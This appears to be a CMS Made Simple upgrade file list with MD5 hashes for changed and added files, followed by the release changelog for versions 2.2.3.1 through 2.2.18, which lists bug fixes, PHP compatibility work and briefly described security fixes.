CHANGED :: 83ff25c7202f78fc11b84586e06bc2b7 :: \modules\Search\images\icon.png
CHANGED :: a17fda07f7e0107346ee5f919b6dfd33 :: \modules\Search\lang\en_US.php
CHANGED :: 48325646554d933e36a96eb700a2a6b3 :: \modules\Search\lang\ext\af_ZA.php
CHANGED :: 17c750efda6df5a124c94a468d21c5d6 :: \modules\Search\lang\ext\ar_AR.php
CHANGED :: 569a2c054f52f37a5dcdafba0e01cd73 :: \modules\Search\lang\ext\bg_BG.php
CHANGED :: 6126834e607148cfd831a43a4b0ffa41 :: \modules\Search\lang\ext\cs_CZ.php
CHANGED :: 110e1b8daa106b0d5815d9cf7cbf12ef :: \modules\Search\lang\ext\da_DK.php
CHANGED :: 59f46c059aaeae54356963bf866d22e9 :: \modules\Search\lang\ext\de_DE.php
CHANGED :: cbcfa98f896b808f99b52c12fce8feba :: \modules\Search\lang\ext\el_GR.php
CHANGED :: 2e8317c789058805b615772941a82f23 :: \modules\Search\lang\ext\en_CY.php
CHANGED :: bc0ba4c5de20f93e385bb27f59307368 :: \modules\Search\lang\ext\es_ES.php
CHANGED :: f816e580202d7e66ee0261792e06869a :: \modules\Search\lang\ext\et_EE.php
CHANGED :: c210e03872e5a7e09dc8bcc87d324893 :: \modules\Search\lang\ext\eu_ES.php
CHANGED :: dcf22ddf5a9d1c70cc5c836846496770 :: \modules\Search\lang\ext\fa_FA.php
CHANGED :: bd2eede546a2260490054bb1381837c1 :: \modules\Search\lang\ext\fa_IR.php
CHANGED :: 889cad9908527f660aaa5e200e334e63 :: \modules\Search\lang\ext\fi_FI.php
CHANGED :: 5293fd6f976465bfab0d19413d688b58 :: \modules\Search\lang\ext\fr_FR.php
CHANGED :: 622ac423ae28ad1b9ecfad619d5cf1ac :: \modules\Search\lang\ext\hr_HR.php
CHANGED :: eb1823f75804facf13cda258e5ce786d :: \modules\Search\lang\ext\hu_HU.php
CHANGED :: 7364e47e0c53737e4d454f6a40c1915a :: \modules\Search\lang\ext\id_ID.php
CHANGED :: f33c0b6425c2659ac5f0c6c1b75d3df3 :: \modules\Search\lang\ext\it_IT.php
CHANGED :: af62296cb41eec8a22b26f965bc587dc :: \modules\Search\lang\ext\iw_IL.php
CHANGED :: a37fef47405b2e30e0b84d5216cb5469 :: \modules\Search\lang\ext\ja_JP.php
CHANGED :: e0dfb3947a397aa7acc16ae4c3234af1 :: \modules\Search\lang\ext\lt_LT.php
CHANGED :: dc453b462f36a3b694982f0a4ad01508 :: \modules\Search\lang\ext\nb_NO.php
CHANGED :: 9f757e7c529c9c86001c66df47dc6f3f :: \modules\Search\lang\ext\nl_NL.php
CHANGED :: 508f81d2612f60f0285adfb5be0556ef :: \modules\Search\lang\ext\pl_PL.php
CHANGED :: 4f896bcc98e4cd905d28ef17acf98636 :: \modules\Search\lang\ext\pt_BR.php
CHANGED :: e417cdf7a747e3b7357debae56532299 :: \modules\Search\lang\ext\pt_PT.php
CHANGED :: e93c6f3571b3ed72c6df5ae9843660e3 :: \modules\Search\lang\ext\rm_CH.php
CHANGED :: a6b0946f339472d4adce57eda6e41843 :: \modules\Search\lang\ext\ro_RO.php
CHANGED :: d9546932144a9d05656c108eb884822b :: \modules\Search\lang\ext\ru_RU.php
CHANGED :: 3dc5dd700f6dabacb4d2ba0d38d73244 :: \modules\Search\lang\ext\sk_SK.php
CHANGED :: a6f78b2f02387d3bc0dbca0e2a56d16e :: \modules\Search\lang\ext\sl_SI.php
CHANGED :: fa6e5203a4b8f7eda0f589b45f71c98c :: \modules\Search\lang\ext\sr_YU.php
CHANGED :: 745a0820fe7eec3a0e5add6273fcb6e9 :: \modules\Search\lang\ext\sv_SE.php
CHANGED :: 148f9d3734ddab9040796cb9ac6d1981 :: \modules\Search\lang\ext\tr_TR.php
CHANGED :: a4c1956c243aa348b85757bc7b058d6b :: \modules\Search\lang\ext\uk_UA.php
CHANGED :: 6d5aa247427722a595a7b813b918bb62 :: \modules\Search\lang\ext\zh_TW.php
CHANGED :: fb16fa29d330c77357b4b86c60014ffc :: \modules\Search\method.install.php
CHANGED :: 91cfa278f0114e0fa87a317c603261f7 :: \modules\Search\method.uninstall.php
CHANGED :: c2194232ed91d7a6b2fa6c763561a6af :: \modules\Search\method.upgrade.php
CHANGED :: 820497a760e3cfc73a10689e2f8ddde7 :: \modules\Search\PorterStemmer.class.php
CHANGED :: 7c2191df5ce07a85954696f8fdd7a254 :: \modules\Search\Search.module.php
CHANGED :: faada7a15e6ec95cd461e82b20d75fe6 :: \modules\Search\search.tools.php
CHANGED :: eeac592409cf57e0e7b21d67645b4206 :: \modules\Search\templates\admin_statistics_tab.tpl
CHANGED :: 7cd420c4e58bdbaea8762bd7881e0228 :: \modules\Search\templates\options_tab.tpl
CHANGED :: 8d02bbdf06d00d0532b5567b2ab99ce2 :: \modules\Search\templates\Simplex_Search_template.tpl
CHANGED :: 1590e9c44405c7b3a2980d4a9630d6f3 :: \uploads\images\logo1.gif
CHANGED :: 7dbdc2c6585f16b2bbfd7fcae5f33e9a :: \uploads\images\thumb_logo1.gif
CHANGED :: f431f4e7bbc5d9e9022f69f25b828b65 :: \uploads\NCleanBlue\arrow.gif
CHANGED :: c2ebc3c2f0668e4e517f36be1c290610 :: \uploads\NCleanBlue\bg__content.png
CHANGED :: 74bdf8852d0a7768f9fde6565336dcc2 :: \uploads\NCleanBlue\bg__footer.png
CHANGED :: de91929b9ea8403e4e6f32df47b60305 :: \uploads\NCleanBlue\bg__full.png
CHANGED :: 7fa1fa034ae9850c499283ecb9c97c0d :: \uploads\NCleanBlue\bull.png
CHANGED :: dd263a121e7860e0e1121fe6992f0659 :: \uploads\NCleanBlue\external.gif
CHANGED :: 57ee2d36557e167776225f8a82b84694 :: \uploads\NCleanBlue\js\ie6fix.js
CHANGED :: 3d045b93716ed28dc745e648b3428a26 :: \uploads\NCleanBlue\js\transparent.gif
CHANGED :: 49d7a66f2c0d30bde5cc04367ad8e9ff :: \uploads\NCleanBlue\logo.png
CHANGED :: 55b4ce1493412b1c0b80c9a33e491d9b :: \uploads\NCleanBlue\screen-1.6.jpg
CHANGED :: 7f28cb75919576e785b11ebbe80de066 :: \uploads\NCleanBlue\search.png
CHANGED :: cb2cce6665bc34159214863cdd1e7880 :: \uploads\NCleanBlue\tabs.gif
CHANGED :: 9ed2d87b3933e2ce1f611d569ceb5c2a :: \uploads\NCleanBlue\ulbtm.gif
CHANGED :: 30d7c85e16f7db6a82cce6ff69387a95 :: \uploads\NCleanBlue\ulbtm.png
CHANGED :: 36a9572bc8ba5b236e561e1fed05bd41 :: \uploads\NCleanBlue\ultop.gif
CHANGED :: 458632bcf14fbff86f646acaa437ec1b :: \uploads\NCleanBlue\ultop.png
CHANGED :: 4f9b8200906df8efa0d7ce1324b71233 :: \uploads\NCleanBlue\version.png
CHANGED :: 5564000a7e85072501632a336764d2c4 :: \uploads\ngrey\active.gif
CHANGED :: 64655f1f6f0d494595648aaad994938a :: \uploads\ngrey\active.png
CHANGED :: c0eb97c5d75775b5852426f2d019858a :: \uploads\ngrey\bg_banner.png
CHANGED :: 343e66eb4b69bdd9f78776adaf40d248 :: \uploads\ngrey\body.png
CHANGED :: 08cda11fcc41fd577061e30931caffd1 :: \uploads\ngrey\darknav.png
CHANGED :: 58b480a0627fcf679a00f6d610403adf :: \uploads\ngrey\dot.gif
CHANGED :: dd263a121e7860e0e1121fe6992f0659 :: \uploads\ngrey\external.gif
CHANGED :: fbc67322903b04daf448f128e6013c1c :: \uploads\ngrey\libk.gif
CHANGED :: 42e142b3e4ccb1a06adab8d7e57456f9 :: \uploads\ngrey\liup.gif
CHANGED :: 49a6d14aa1445235b74989ab52e20667 :: \uploads\ngrey\logoCMS.png
CHANGED :: 15451ea4eddd48b62cf34b1e31b0cf6d :: \uploads\ngrey\mainleft1.gif
CHANGED :: 8976b2f049cb1b27bf48c72ba5f049cb :: \uploads\ngrey\mainleftup.gif
CHANGED :: 92f2d376933b75ec7c4a0ef081050841 :: \uploads\ngrey\mainrt.gif
CHANGED :: 1763c6cbd2565cb0d56803fceaf2883f :: \uploads\ngrey\mainrt1.gif
CHANGED :: cd1daaef2171622b7dd7dc90918263fb :: \uploads\ngrey\mainrtup.gif
CHANGED :: ea224299e080e78d571ef63e3c4deb19 :: \uploads\ngrey\nav.png
CHANGED :: a63bc943d7cc04574e0ae84a6b1e9bca :: \uploads\ngrey\navlefttest.gif
CHANGED :: 55e892383af4a5d069d0a6c1d7562cfc :: \uploads\ngrey\navrttest.gif
CHANGED :: c2456a0903fb510f62aac8d7a87ba438 :: \uploads\ngrey\parent.gif
CHANGED :: c82413bc959d91e8607e6246e54c867f :: \uploads\ngrey\parent.png
CHANGED :: df5cc2e00ee04482d72701d0313834cf :: \uploads\ngrey\rtup.gif
CHANGED :: 285923d0c4308ff89bb0e6b5365e838f :: \uploads\ngrey\search.gif
CHANGED :: d6e4f0b39bf67842d4a0f19157031a62 :: \uploads\ngrey\ulbtmrt.gif
CHANGED :: 8f40e03f7fae8883a9601f4ba1295dbd :: \uploads\ngrey\ulbtmrt.png
CHANGED :: 7aeaa0505ae87049b24881c0da532469 :: \uploads\ngrey\ultop.gif
CHANGED :: 1106fb48320e2d0195855fecf649c72a :: \uploads\ngrey\ultoprt.gif
CHANGED :: ad0dd734e5d3535ace3c335c3a78dc87 :: \uploads\ngrey\ultoprt.png
CHANGED :: d1b49be7c2dd512a4b791acbb7bbcf80 :: \uploads\ngrey\ultopup.gif
CHANGED :: 6ab56b440e463a934b0cac5540aee259 :: \uploads\ngrey\ultopup.png
CHANGED :: 2a89443605fb31a869e3b8cb71ed82c8 :: \uploads\ngrey\wbtmleft.gif
CHANGED :: f2553d4e5d8f87966d6bb6f01473a00c :: \uploads\ngrey\wfootrt.gif
CHANGED :: b9761496bd8d0df71b42b078f3d57d97 :: \uploads\ngrey\wtopleft.gif
CHANGED :: 0714f6ae0861b9b74a6ca95bd4d84773 :: \uploads\simplex\fonts\simplex.eot
CHANGED :: 97f78f6cc88515db8e8e262d69bee8ab :: \uploads\simplex\fonts\simplex.svg
CHANGED :: 9bebd05e044460d849212c5eaeac813f :: \uploads\simplex\fonts\simplex.ttf
CHANGED :: 48007ad6e7f575899db9067b5590df5c :: \uploads\simplex\fonts\simplex.woff
CHANGED :: b637be266f720028a727025e05568c4d :: \uploads\simplex\images\body-background.png
CHANGED :: 37255f6e62b8e72471fbe845f69d13ce :: \uploads\simplex\images\cmsmadesimple-logo.png
CHANGED :: 8f7590ad8cd4c89e71d19d18532e1e70 :: \uploads\simplex\images\icons\cmsms-120x120.png
CHANGED :: ec2ba5029e06372ab2b6bc5cf0d2ef01 :: \uploads\simplex\images\icons\cmsms-152x152.png
CHANGED :: 551e34acf2930bf083670fa203420993 :: \uploads\simplex\images\icons\cmsms-196x196.png
CHANGED :: 4c2bab242b8ce19bfc4b50b1235eb86c :: \uploads\simplex\images\icons\cmsms-60x60.png
CHANGED :: f38533379feea9f165c09fd3277f3a5f :: \uploads\simplex\images\icons\cmsms-76x76.png
CHANGED :: ebf500d206705bda0cb79021c15da98a :: \uploads\simplex\images\icons\favicon_cms.ico
CHANGED :: a2948d74b6cdba3b2fb406bd5b09a83a :: \uploads\simplex\images\palm-circle.png
CHANGED :: 4f123c8303d0644e43beffc95f75e4c7 :: \uploads\simplex\js\functions.js
CHANGED :: fb579808a2e285e7e3419f42b7e07a43 :: \uploads\simplex\js\functions.min.js
CHANGED :: 40c932dac4eab54b947cf4e5f134829e :: \uploads\simplex\js\jquery.sequence-min.js
CHANGED :: fd377c66d907f8981cf867ce9cd78b93 :: \uploads\simplex\js\touchr.js
CHANGED :: 9494acf1f200a994b787de77b2f0f250 :: \uploads\simplex\teaser\browser-scene.png
CHANGED :: 13e05f52778771bdac11be2e4a525934 :: \uploads\simplex\teaser\mate-zimple.png
CHANGED :: 8a6d69df65cced31d7a5654cd263ac6f :: \uploads\simplex\teaser\mobile-devices-scene.png
CHANGED :: 6c9a58998f939f5dab68301f7a2966a5 :: \uploads\simplex\teaser\notebook-scene.png
CHANGED :: dbdb8453c82da641b2ac79e72267d7de :: \uploads\simplex\teaser\palm-logo.png
ADDED :: 7ad922bcc16462a101862b1b0b15182f :: \lib\phpmailer\COMMITMENT
ADDED :: 93ffca756944cd37c78d85804300ec2c :: \lib\phpmailer\Exception.php
ADDED :: 9b8f9d944f48f95f2ab0110283650747 :: \lib\phpmailer\get_oauth_token.php
ADDED :: 7941a78d274605ae2e3caf320b78a687 :: \lib\phpmailer\language\phpmailer.lang-af.php
ADDED :: b002912448dd2f25b5069daeb79bfb31 :: \lib\phpmailer\language\phpmailer.lang-ba.php
ADDED :: dcb7429587cd2a0c6f98b33f50933b5e :: \lib\phpmailer\language\phpmailer.lang-hi.php
ADDED :: 57c3d4308def6467eec54e9550316b3e :: \lib\phpmailer\language\phpmailer.lang-hy.php
ADDED :: 6c8fe8f190a0ccc9f750851ba0d65585 :: \lib\phpmailer\language\phpmailer.lang-mg.php
ADDED :: 563da4ca11458562b6e938bc7742248a :: \lib\phpmailer\language\phpmailer.lang-rs.php
ADDED :: 8499f7e63ecd9855d165afe10b4b64a3 :: \lib\phpmailer\language\phpmailer.lang-sr_latn.php
ADDED :: ea1ce8d9353133c43fb3f14ad663454b :: \lib\phpmailer\language\phpmailer.lang-tl.php
ADDED :: 357b73808f398adf478071fbf0461945 :: \lib\phpmailer\OAuth.php
ADDED :: ee90fa47540f4f9c07527b1a5bb0f528 :: \lib\phpmailer\OAuthTokenProvider.php
ADDED :: 067dc3f9ae23cd54bfd6a26b9260592a :: \lib\phpmailer\PHPMailer.php
ADDED :: a89646ce63e0b8759fde75fb588473e8 :: \lib\phpmailer\POP3.php
ADDED :: e7d414af165d9da903947ea220f6d515 :: \lib\phpmailer\SMTP.php
ADDED :: 1f5b0db85804a5a633cf55b7a73f8bf9 :: \lib\smarty\plugins\modifier.explode.php
ADDED :: d0c99e948a6335034a8291d3aeca1de3 :: \lib\smarty\plugins\modifier.mb_wordwrap.php
ADDED :: 95a3c89b7c62b71cda5fb15c35086366 :: \lib\smarty\plugins\modifier.number_format.php
ADDED :: 4b0b96bc7adee7474d76c439c30d11a4 :: \lib\smarty\sysplugins\smarty_internal_compile_child.php
ADDED :: f1f9cb2ac3e519a4e793dca7805821b4 :: \lib\smarty\sysplugins\smarty_internal_compile_parent.php
ADDED :: b531511cc0a09d936b0ee0f901385d7c :: \lib\smarty\sysplugins\smarty_internal_errorhandler.php
ADDED :: 014ec5a83423371db4d4be7afe2889be :: \lib\smarty\sysplugins\smarty_internal_method_literals.php
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              Version 2.2.18 - Apex
-------------------------------
Core - General
- Fallback function CMSMS\strftime. PHP Intl extension still recommended. The fallback solves issues on hosts that don't install it by default and don't allow users to install it. 


Version 2.2.17 - Iqaluit
-------------------------------
Core - General
 - BR #12529 - Cacheable Pages have Bad Header Last-Modified;
 - BR #12543 - Lib file corrections;
 - BR #12618 - HasChildren() is broken;
 - BR #12587 - can't uninstall modules;
 - Compatibility fixes for PHP 7, 8.0 and 8.1;
 - Smarty upgraded to version 4.2.1;
    Note: Smarty 2 syntax is still supported, but deprecated
 - Add function CMSMS\strftime to replace deprecated PHP function. PHP Intl extension recommended to support this.
 - Enabled use of PHP functions trim,ltrim,rtrim in smarty templates
 - PHPMailer upgraded to version 6.6.0.
 - fixes BR #12529 Cacheable Pages have Bad Header Last-Modified;
 - added module's support for arrays in parameters;
 - Fixes to cms_mailer class mainly in terms of proxy design pattern getters and setters and autotls settings;
 - Smarty security policies changes: due to some modifications in the way updated Smarty now behaves, all static classes need to be registered for its use to be allowed in templates.

Content Manager 1.1.10
 - Differentiate new page from cloned page.
 - Compatibility fixes for PHP 7, 8.0 and 8.1.

Design Manager 1.1.10
 - BR #12545 - Module: DesignManager typo info on top file.
 - fixes typo BR #12545
 - Compatibility fixes for PHP 7, 8.0 and 8.1.

FilePicker 1.0.6
 - BR #12539 - Module FilePicker 1.0.5 files corrections.
 - Compatibility fixes for PHP 7, 8.0 and 8.1.

Module Manager 2.1.9
 - BR #12541 - Module ModuleManager 2.1.8 : corrections + compatible php 7.1.0 to 8.1.4.

News 2.51.12
 - BR #12543 - Lib file corrections.
 - Compatibility fixes for PHP 7, 8.0 and 8.1.

FileManager 1.6.13
- Compatibility fixes for PHP 7, 8.0 and 8.1.


Version 2.2.16 - Truro
-------------------------------
Core - General
  - BR #12370 - Admin Log-Download : now downloading the log honors all filters but doesn't process paging.
  - BR #12437 - Installer won't allow "<" symbol in database password.
  - BR #12457 - Event Manager empty list when mysql mode only_full_group_by.
  - BR #12484 - Cannot exit after Run UDT.
  - BR #12495 - MySQL 8.0.2+ breaks groups without table prefix.
  - BR #12499 - adminlog.tpl Wrongly formed date.
  - BR #12500 - NameQuote function does not work properly.
  - BR #12504 - Function call notification.
  - Fixed an issue with specific characters in a content block tab name breaking the editor.
  - Adjust regex's incompatible with PCRE2.
  - Avoid deprecated strftime() - deploy new replacement function locale_ftime() and new modifier-plugin localedate_format.
  - A number of fixes for PHP 8 compatibility.

Admin Search v1.0.6
  - BR #12443 - Admin Search fails on some searches with default mysql mode only_full_group_by (mysql 5.7.5+).
  - Removed license and copyright notices from module help text.
  - Escaping the search input field values.
  - More content object attributes are searched.
  - User Defined Tags can be searched.
  - Only places a user has permission to search are shown in the filter list (cached!).

Content Manager v1.1.9
  - Fix menu text/title setting.

FileManager v1.6.12
  - BR #12435 - Replacing an image file in filepicker doesn't update thumbnail.

FilePicker v1.0.5
  - FR #12483 - Additional FilePicker Help for usage as Content Block.

Navigator v1.0.9
  - BR #12456 - Navigator breadcrumbs with default page hidden from menu causes PHP notice.

Search v1.53
  - Added 'Manage Search' permission.
  - BR #12391 - Core search issue page/entry titles that start with numbers.
  
Phar Installer v1.3.15
  - Fixed BR #12437 - Installer won't allow "<" symbol in database password.
  - Added Russian lang file to installer.
  - use locale_ftime() instead of deprecated strftime().
  - escape name of groups table, to prevent reserved-word conflict when table-prefix is empty.
  - alterations to the links in final step: we now privilege links to CMSMS channels of contact and support.


Version 2.2.15 - Bonaventure
-------------------------------
Core - General
  - BR #12287 - Admin shortcuts popup refers to IRC.
  - BR #12292 - showbase parameter of metadata tag doesn't accept boolean value.
  - BR #12303 - No date displayed in the admin + category id not incremented.
  - BR #12305 - Removing actual Destination Page breaks Destination Page dropdown in Internal Page Link pages.
  - BR #12311 - log_performance_info - undefined variable: queries.
  - BR #12313 - 5 Stored XSS vulnerabilities in Settings - Content Manager.
  - BR #12317 - XSS on Settings News Module.
  - BR #12325 - Several XSS vulnerabilities.
  - BR #12335 - User pref admin homepage not properly displayed under certain conditions.
  - BR #12337 - GetContentBlockFieldInput $adding always false.
  - BR #12338 - Allow http/2 responses.
  - BR #12357 - Filepicker dropzone size issue.
  - FR #12345 - More user friendly admin session handling (partly implemented).
  - FR #12349 - Swap tabs on System Maintenance page.
  - Browsing to the main admin page in a new browser tab during a running session won't redirect to login form anymore.
  - (Error) messages in OneEleven won't dismiss on click.
  - Fix to Admin redirection after login on Windows platform.
  - Fix to the module API redirection to support arrays in parameters.

FileManager v1.6.12
  - Dropzone improvement like core FilePicker.

FilePicker v1.0.5
  - BR #11673 - FilePicker will not show svg images, when in the Content Manager.
  - BR #12312 - Stored XSS vulnerability in File Picker.

News v2.51.11
  - Minor code fix to encoding title content.
  - BR #12322 - Stored Cross-Site Scripting. Minor, because it can only be performed by a person that has access rights to the Admin panel.
  - BR #12325 - Several XSS vulnerabilities.

Design Manager v1.1.9
  - Minor fixes for PHP warnings\notices.

Module Manager v2.1.8
  - BR #12291 - Reflected Cross site scripting.
  - BR #12324 - Stored Cross-Site Scripting. Minor, because it can only be performed by a person that has access rights to the Admin panel.
  - Increased the Download Chunk Size field size to 4.

MicroTiny v2.2.5
  - BR #12351 - Escaping translation strings in tinymce_config.js.

Search v1.52
  - FR #11886 - Include module and modulerecord fields for content pages.

Phar Installer v1.3.13
  - Fixes to the reload button: now prevents browser's caching.
  - BR #11591 - fixed: Phar installer doesn't work with OPCache enabled.


Version 2.2.14 - T'Sou-ke
-------------------------------
Core - General
  - BR #12280 - Add Shortcut from Shortcuts modal broken.
  - Fixes to the class.CmsAdminThemeBase.php regarding main sections title and breadcrumbs generation.
  - Explicitly add function_exists and getimagesize functions to the allowed functions in PHP secure mode.
  - Improved Error Console template.
  - Site Prefs, remove submit confirmation.
  - System Maintenance, remove confirmation update page hierarchy positions and routes.
  - cms_http_request PHP 7.4 fix "Array and string offset access syntax with curly braces is deprecated".
  - Backend users, fixed the bulk actions.
  - BR #12172 - CronJobTrait undefined constants.
  - BR #12227 - Stored Cross-Site Scripting. Minor, because it can only be performed by a person that has access rights to the Admin panel.
  - BR #12272 - Internal page link - selecting destination page problem.

AdminSearch v1.0.5
  - Remove click thru warning.

CMSContentManager v1.1.9
  - Fix notices in edit content template.
  - Fix notice in default admin view.

DesignManager v1.1.8
  - BR #12225 - Reflected Cross-Site Scripting. Minor, because it can only be performed by a person that has access rights to the Admin panel.

FileManager v1.6.11
  - Don’t disable advanced mode on upgrade.
  - Fix adding double // in site root link.
  - BR #12215 - FileManager 1.6.10 crashes when trying to rename a file.
  - BR #12224 - Reflected Cross-Site Scripting. Minor, because it can only be performed by a person that has access rights to the Admin panel.

News v2.51.9
  - Minor code fix.
  - Alert on unapproved articles disabled by default. Enable at Settings >> Options tab.
  - BR #12207 - Can't display image in news when using upload field.
  - BR #12228 - Stored Cross-Site Scripting. Minor, because it can only be performed by a person that has access rights to the Admin panel.

Phar Installer v1.3.9
  - PHP 7.4 fix "Array and string offset access syntax with curly braces is deprecated".
  - PHP 7.4 fix "Function get_magic_quotes_runtime() is deprecated".

Search v1.51.8
  - PHP 7.4 fix "Array and string offset access syntax with curly braces is deprecated".


Version 2.2.13 - Moosomin
-------------------------------
Core - General
   - Explicitly add a function or two to the allowed functions in PHP secure mode.

DesignManager v1.1.7
   - Fix a warning in PHP 7.3+.

FileManager v1.6.10
   - Fix minor XSS vulnerabilities in FileManager.

News v2.51.8
   - Fix a security issue in the default action with the idlist param.
   (This version was also separately released in the forge).


Version 2.2.12 - Osoyoos
-------------------------------
NOTICE: Due to the nature of the security issue fixed in FileManager after upgrading you should change your database password.

Core - General
  - Fix warning in cms_html_entity_decode.

FileManager v1.6.9.1
  - Security fixes for view action.


Version 2.2.11 - Vulcan
-------------------------------
Core - General
  - Fix minor bug in copying content objects.
  - Minor fix to array indexes when filling params in ContentBase.
  - Fix to the {cms_filepicker} plugin.
  - Minor fix to the 'my account' form.
  - Fix error in cmsms_filepicker.js encountered in LISE.
  - PHP 7.3 fix to DataDictionary::RenameColumnSQL.

CMSContentManager v1.1.8
  - Fix an issue with copying non-core content objects.
  - Minor fixes for php 7.3.

ModuleManager v2.1.7
  - Minor exception handling improvements.
  - Minor improvement to dependency detection with modules that do not exist in ModuleRepository.
  - Minor fixes for php 7.3.

News v2.51.6
  - Minor improvements for CMSMS v2.3 compatibility.

Phar Installer v1.3.8
  - Minor change to use include() instead of include_once()... not sure why.

FilePicker v1.0.4.1
  - Fix type error.

Search v1.51.7
  - Minor fixes for php 7.3.


Version 2.2.10 - Spuzzum
-------------------------------
Core - General
  - Fix minor potential authenticated object insertion vulnerability in changegroupperm.
  - Fix minor potential uncleaned input vulnerability in siteprefs.
  - Minor improvement to get_real_ip().
  - Fix to clearing cache in cms_filecache_driver.

News v2.51.5
  - Fix unauthenticated SQL injection vulnerability with the default action.

ModuleManager v2.1.6
  - Fix authenticated object insertion vulnerability in the installmodule action.
  - Improve ordering of the dependencies before installing or upgrading modules.
  - Adds more auditing, particularly in the cached request stuff.

FilePicker v1.0.4
  - Fix authenticated object insertion vulnerability.


Version 2.2.9.1
-------------------------------
Core - General
  - fix to the CmsLayoutStylesheetQuery class.
  - fix an edge case in the Database\Connection::DbTimeStamp() method.

MicroTiny v2.2.4
  - Minor fix in error displays.

Phar Installer v1.3.7
  - Fix to edge case in step 3 where memory_limit is set to -1.


Version 2.2.9 - Blow Me Down
-------------------------------
Core - General
  - PHP 7.2+ fixes.
  - Now do not call Module::InitializeAdmin() or Module::InitializeFrontend() if the module loading is being forced
    (as is the case sometimes within ModuleManager);
  - Minor changes and fixes to prevent warnings/notices in CLI based scripts.
  - Improvements to the {browser_lang} plugin.
  - Fixes a bug in the CmsLayoutTemplateQuery class.
  - Fixes a bug with the name= parameter in the {cms_stylesheet} plugin.
  - Fixes a minor issue in system information (smarty compilecheck).
  - Fixes a minor issue with the tabIndex and accesskey fields in edit content.
  - Fixes issue in the CmsLayoutStylesheet class related to associating designs with new stylesheets.
  - Now check for an english language file first in module_custom/xxxxx/lang before a file for the current language.
  - Prevent false-positive hit for "multiple_webshells_0018" rule webserver virusscanner (https://github.com/Yara-Rules/rules/blob/master/Webshells/WShell_THOR_Webshells.yar#L4764).
  - Fixes a bug in ContentOperations::LoadAllContent() if the content list had a custom content type from a module that was unvavailable.
  - Fixes a bug in the Database\Connection::DbTimeStamp().

Search v1.51.6
  - Minor fixes to help.

MicroTiny v2.2.3
  - More entropy in the mt_config.js filename to fix issues with js caching when switching users.
  - Fixes in the cms_linker plugin for when trying to change a link to a CMSMS page where the alias has changed.

FileManager v1.6.8
  - Fixes an upload issue.

ModuleManager v2.1.5
  - PHP 7.2+ fixes.

CMSContentManager v1.1.7
  - Fixes an issue with changing content type after copying a content page.

DesignManager v1.1.5
  - Fixes ownership issue on templates with importing a design.

Phar Installer v1.3.7
  - Minof fix to detect when PHP's memory limit is set to -1.


Version 2.2.8 - Flin Flon
----------------------------------
Core - General
  - Re-introduce the host_whitelist config entry that got lost in some commit somewhere.
  - Minor fix to pagination in Admin log.
  - Change Finnish locale priorities so that UTF-8 is first.
  - Minor fix to calling hooks with a single associative array parameter.
  - Adds new HookManager::do_hook_first_result() method.
  - cangegroupperms now calls HookManager::do_hook_first_result.
  - Minor enhancement to moduleoperations::_load_module() to check if the class exists.
  - Minor enhancement to {cms_action_url} wrt. the page to link to if not specified.
  - Deprecate CMSModule::SetParameterType and CMSModule::CreateParameter methods.
  - Deprecate ModuleOperations::GetModuleParameters() method.
  - CMSModule::RestrictUnknownParameters() now does nothing.
  - No longer warn if a module is sent a parameter that is not registered.
  Note: modules should now be cleaning parameters directly (see filter_var) from $_POST and $_REQUEST ($_GET is automatically cleaned).
  Note: In the future,  $params in module actions will only consist of parameters passed on the module tag.
  - PHP 7.2+ fixes.
  - Fix the inactive param in the page_attr plugin.

FilePicker v1.0.3
  - Minor fix to delete action.

Search v1.51.5
  - Now enforce utf-8 on preg_split.
  - Minor parameter check.
  - Removed deprecated each() function.

CMSJobManager v0.1.3
  - Notices fixed.
  - PHP 7.2+ fixes.

FileManager v1.6.7
  - Remove un-necessary files that may cause a security vulnerability.
  - prevent creating directories with leading or trailing whitespace in the name.

Module Manager v2.1.4
  - PHP 7.2+ fixes.

Navigator v1.0.9
  - Template fix simple_navigation.tpl. Output correct class for parent without active children.

News v2.51.4
  - Notices fixed.


Version 2.2.7 - Skookumchuck
----------------------------------
Core - General
  - Change internal CSRF variable name.
  - Fix object insertion bug via deserialize in LoginOperations.
  - Fix issue where login cookie contents could be forged by determining the hashing salt.
  - Refactor the mechanism for generating and verifying admin account password reset codes.

FileManager v1.6.6
  - No longer allow uploading files with names that end in .

FilePicker v1.0.2
  - No longer allow uploading files with names that end in .

Search v1.51.4
  - Minor fix to microtime calls.


Version 2.2.6 - Come by Chance
----------------------------------
Core - General
  - Fixes to AdminAlerts::load_by_name().
  - SetMessage() and SetError() in the module API now use session variables.
  - Remove support for module_error and module_action request parameters in admin module actions.
  - Add call to check_login() in admin actions that were missing them.

Search v1.51.3
  - Fix notice in PHP 7.1: A non well formed numeric value encountered...


Version 2.2.5 - Wawa
----------------------------------
Core - General
  - Fix minor security issue in the way login information was cached in cookies and the session.
  - Simplify rules around alias editing/generation in fillparams.
    If the alias field exists then we can adjust its value or recalculate an alias.
    Use basic properties, and ownership and permissions to determine if that field exists on the edit form.
  - Minor fixes to the CmsJobManager.


Version 2.2.4 - Little Paradise
----------------------------------
Core - General
  - Improvements to the Hook class.
  - Minor fix to usertagoperations.
  - Changes to the hierarchy selector to disallow circular references.
  - Fix problems with additional editors causing page aliases to be regenerated.
  - Minor fixes to Admin log browser.
  - Minor fixes to Admin login.
  - Add missing call Core::LoginPre hook.
  - Modify myaccount.php to call Core::EditUserPre hook BEFORE the password is set.
  - Fix documentation to CallUserTag.
  - Fix to default handling for content_image block.
  - Improve the help for the {page_attr} plugin.
  - Fix a potential warning in the {anchor} tag.
  - Fix boolean comparison in LoginOperations.

Installation Assistant v1.3.4
  - Fixes endless recursion issue with setting a tmpdir.
  - Fix issue with requiring a database prefix on upgrade.

FilePicker v1.0.2
  - Now allow specifying a 'useprefix' boolean parameter to the action url which will use the current top directory.
  - Add a prefix on all returned strings.
  - Slight modification to the profile class.
  - Now sends the FileManager::OnFileUploaded hook the same way as FileManager does.
  - Adds an exception handler around the change working directory stuff.

FileManager v1.6.5
  - Change upload action to call FileManager::OnFileUploaded hook before creating the thumbnail to allow a hook to rename the uploaded file.
  - Now enable creation of thumbnails on install.

MicroTiny v2.2.2
  - Minor fix for the filepicker if using a default filepicker profile that specifies a top directory.
  - Re-adds the table plugin (went missing when we upgraded tinymce).

ModuleManager v2.1.3
  - Adds audit line displaying status if cannot connect to ModuleRepository.

DesignManager v1.1.4
  - Fixes problems with the cancel button not marking the form as 'clean' (not dirty).


Version 2.2.3.1 - Happy Adventure
----------------------------------
Core - General
  - Fix an issue when parsing multiple content blocks.


